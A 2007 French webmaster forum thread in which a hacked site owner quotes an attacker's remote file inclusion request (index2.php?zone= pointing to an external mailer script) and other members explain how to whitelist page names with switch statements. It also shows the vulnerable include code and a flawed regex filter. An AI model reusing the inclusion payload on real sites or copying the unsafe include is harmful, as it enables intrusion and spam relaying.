[Réglé] Sécuriser variable php

Ce forum aborde toutes les questions qu'un codeur ou webmaster pourrait se poser, et n'ayant aucun rapport direct avec phpBB.
Tout ce qui peut concerner la récupération des sessions de phpBB sur votre site, doit se faire dans cette section.

Modérateur: Equipe

Règles du forum
A lire impérativement : Règlement de phpBB-fr.com

[Réglé] [réglé] Sécuriser variable php

Messagepar ben5 » 04 Jan 2007 à 18:16

Bonjour à tous,

Je me suis fait hacker récemment, ce qui a entrainé un blocage de mon compte mail (OVH) vu qu'il y avait eu des plaintes... (mails envoyé par le hacker)

Le hacker essaye d'executer une page, via ma page index2.php à partir de la variable zone, pour régler le probléme, il faut qu'il ne puisse plus le faire, mais comment ???

voici ce que le hacker a executé :
GET /index2.php?zone=http://www.geocities.com/fredricklawson_1290/mailer.txt

Merci d'avance pour votre aide :wink:
Modifié en dernier par ben5 le 28 Jan 2007 à 14:02, modifié 3 fois.
ben5
Posteur expérimenté
Posteur expérimenté
 
Messages: 338
Enregistré le: 14 Déc 2005 à 15:21

Messagepar soda » 04 Jan 2007 à 18:26

Elle est de quel type cette variable zone?
soda
Posteur expérimenté
Posteur expérimenté
 
Messages: 354
Enregistré le: 25 Déc 2006 à 11:55
Localisation: Sur mon cheval blanc

Messagepar ben5 » 04 Jan 2007 à 18:29

soda a écrit:Elle est de quel type cette variable zone?


bah comme ça par exemple : http://monsite.com/index2.php?zone=accueil

désolé je réponds peut être pas à ta question...

:wink:
ben5
Posteur expérimenté
Posteur expérimenté
 
Messages: 338
Enregistré le: 14 Déc 2005 à 15:21

Messagepar Vlad Tepesch » 04 Jan 2007 à 18:32

tu dois sécuriser ta variable zone, au lieu de faire :

include($_GET['zone']) (ou un truc du genre qui est très dangereux).

Exemple de sécurité :

Code: Tout sélectionner
$zone = intval($_GET['zone']);

Dans ce cas, toutes tes zones sont des nombres, à toi de faire le lien zone et page derrière, lien qui peut être fait comme ceci (sans chiffre, avec des noms)

Code: Tout sélectionner
$zone = $_GET['zone'];
switch($zone)
{
  case 'machin' :
    include('machin.php');
    break;
  case 'bidule' :
    include('bidule.php');
    break;
  default : 
    include('hacker.php');
    include('accueil.php');
}


Ou une basique mais pas si sécurisé que ça :

Code: Tout sélectionner
$zone = $_GET['zone'];
if(preg_match("!^htt!i",$zone) || preg_match("/",$zone))
{
  include('hacker.php');
}
else
{
  include($zone);
}
Avatar de l’utilisateur
Vlad Tepesch
Grand-maître des floodeurs
Grand-maître des floodeurs
 
Messages: 3420
Enregistré le: 04 Juil 2005 à 16:23
Localisation: Paris

Messagepar ben5 » 04 Jan 2007 à 18:36

j'ai ça moi en fait :
Code: Tout sélectionner
<? include ("$_GET[zone].php"); ?>


pas sécurisé du tout :lol:

je fais comment avec cette variable là ???

il y a ça aussi :

Code: Tout sélectionner
<? 
if (!isset($_GET[zone])) { $_GET[zone]="accueil"; }
; ?>


c'est pour quand il n'y a aucune zone sélectionnée ;)


merci :wink:
Modifié en dernier par ben5 le 04 Jan 2007 à 22:59, modifié 1 fois.
ben5
Posteur expérimenté
Posteur expérimenté
 
Messages: 338
Enregistré le: 14 Déc 2005 à 15:21

Messagepar Vlad Tepesch » 04 Jan 2007 à 21:33

Je savais que tu avais un include du genre, faille de base, tellement basique qu'on l'apprend à l'université en faite ^^

Alors, pour sécuriser ce bouzin, je te conseille ceci :

Code: Tout sélectionner
$zone = $_GET['zone'];
switch($zone)
{
  case 'machin' :
    include('machin.php');
    break;
  case 'bidule' :
    include('bidule.php');
    break;
  default :
    include('hacker.php');
    include('accueil.php');
}


Tu sais faire un switch?
Avatar de l’utilisateur
Vlad Tepesch
Grand-maître des floodeurs
Grand-maître des floodeurs
 
Messages: 3420
Enregistré le: 04 Juil 2005 à 16:23
Localisation: Paris

Messagepar ben5 » 04 Jan 2007 à 21:43

Vlad Tepesch a écrit:Je savais que tu avais un include du genre, faille de base, tellement basique qu'on l'apprend à l'université en faite ^^

Alors, pour sécuriser ce bouzin, je te conseille ceci :

Code: Tout sélectionner
$zone = $_GET['zone'];
switch($zone)
{
  case 'machin' :
    include('machin.php');
    break;
  case 'bidule' :
    include('bidule.php');
    break;
  default :
    include('hacker.php');
    include('accueil.php');
}


Tu sais faire un switch?


je comprends pas grand chose à ce code :oops:

et non je ne sais pas faire un switch... désolé...

je débute en php donc... connais pas grand chose...

merci :wink:
ben5
Posteur expérimenté
Posteur expérimenté
 
Messages: 338
Enregistré le: 14 Déc 2005 à 15:21

Messagepar Vlad Tepesch » 04 Jan 2007 à 21:51

Avatar de l’utilisateur
Vlad Tepesch
Grand-maître des floodeurs
Grand-maître des floodeurs
 
Messages: 3420
Enregistré le: 04 Juil 2005 à 16:23
Localisation: Paris

Messagepar ben5 » 04 Jan 2007 à 21:57

:lol: :lol: :lol:

je comprends rien au switch et surtout pas ce qu'il vient faire pour protéger ma variable...

désolé pour mon incompréhension :(

merci :wink:
ben5
Posteur expérimenté
Posteur expérimenté
 
Messages: 338
Enregistré le: 14 Déc 2005 à 15:21

Messagepar MRCpp » 04 Jan 2007 à 22:31

Salut,

Avec switch tu peux specifie les valeurs de la variable $zone que tu autorise en utilisant case,a la fin il ya le mot clé defaut qui a le sens de else,si aucuns de ces cas n'est pas verifie tu charge la page d'accueil par exemple...

j'espere que cette petite explication t'aidera. :wink:
MRCpp
Posteur néophyte
Posteur néophyte
 
Messages: 7
Enregistré le: 31 Déc 2006 à 19:11

Messagepar Vlad Tepesch » 04 Jan 2007 à 22:38

Bon, explication détaillé.

Comment protégé ta variable?

Ah, une solution : la comparer avec des valeurs bien défini, et sinon, ne rien faire. Comme ça, le pirate pourra taper tout ce qu'il veut, ça marchera pas.

alors allons y :

Code: Tout sélectionner
$zone = $_GET['zone'];
if($zone == 'accueil')
{
  //on affiche l'accueil
}
elseif($zone == 'contact')
{
  //on affiche la page de contact
}
elseif($zone == 'news')
{
  //on affiche les news
}
elseif($zone == 'minichat')
{
  //on affiche le minichat
}
else
{
  //ça correspond à rien, on affiche l'accueil
}


Moi, je trouve ça répétitif, y a du if en cascade etc.
Mais le switch permet juste de faire la même chose de façon plus lisible et théoriquement plus optimisé.

Code: Tout sélectionner
$zone = $_GET['zone'];
switch($zone)
{
  case 'accueil' 
    //on affiche l'accueil
    break; /*fin d'un case, on break, ce qui permet d'ignorer tout ce qu'il y a en dessous, et donc de pas faire les autres tests => augmentation de la vitesse du script*/
  case 'contact' :
    //on affiche la page de contact
    break;
  case 'news' :
    //on affiche les news
    break;
  case 'minichat' :
    //on affiche le minichat
    break;
  default :
    //ça correspond à rien, on affiche l'accueil
}//fin du switch


Considère que ces 2 codes sont identiques et interchangeable, mais il y en a un qui est mieux. Tu comprend mieux?

J'aimerais que Xenos confirme que cette solution est viable :)
Avatar de l’utilisateur
Vlad Tepesch
Grand-maître des floodeurs
Grand-maître des floodeurs
 
Messages: 3420
Enregistré le: 04 Juil 2005 à 16:23
Localisation: Paris

Messagepar ben5 » 04 Jan 2007 à 22:40

MRCpp a écrit:Salut,

Avec switch tu peux specifie les valeurs de la variable $zone que tu autorise en utilisant case,a la fin il ya le mot clé defaut qui a le sens de else,si aucuns de ces cas n'est pas verifie tu charge la page d'accueil par exemple...

j'espere que cette petite explication t'aidera. :wink:


ah ok !!! donc il faut que je liste toutes mes pages dans ce code... ? environ 200 :lol:

je peux me servir de ça pour faire une page d'erreur du style :"la page que vous demandez n'existe pas"... ?

merci :wink:
ben5
Posteur expérimenté
Posteur expérimenté
 
Messages: 338
Enregistré le: 14 Déc 2005 à 15:21

Messagepar ben5 » 04 Jan 2007 à 22:44

Vlad Tepesch a écrit:Bon, explication détaillé.

Comment protégé ta variable?

Ah, une solution : la comparer avec des valeurs bien défini, et sinon, ne rien faire. .............................


ok je comprends bien maintenant :wink: mais il faut que je le fasse, j'aurais surement des erreurs dans mon code... je posterais si j'ai un problème.

merci beaucoup les gars ;)
ben5
Posteur expérimenté
Posteur expérimenté
 
Messages: 338
Enregistré le: 14 Déc 2005 à 15:21

Messagepar Vlad Tepesch » 04 Jan 2007 à 22:45

Une pseudo 404? Oui, suffit de le mettre dans le default ;)

200 pages ton site? Il est donc fortement mal conçu. J'ai jamais vu de site dépassant la cinquantaine !
Avatar de l’utilisateur
Vlad Tepesch
Grand-maître des floodeurs
Grand-maître des floodeurs
 
Messages: 3420
Enregistré le: 04 Juil 2005 à 16:23
Localisation: Paris

Messagepar ben5 » 04 Jan 2007 à 22:47

Vlad Tepesch a écrit:Une pseudo 404? Oui, suffit de le mettre dans le default ;)

200 pages ton site? Il est donc fortement mal conçu. J'ai jamais vu de site dépassant la cinquantaine !


non, pourquoi ??? il y a juste un grand nombre de rubriques :wink:
ben5
Posteur expérimenté
Posteur expérimenté
 
Messages: 338
Enregistré le: 14 Déc 2005 à 15:21

Suivante

Retourner vers Coding, Webmastering et Sécurité informatique

 


  • Articles en relation
    Réponses
    Vues
    Dernier message

Qui est en ligne

Utilisateurs parcourant ce forum : Bing [Bot] et 2 invités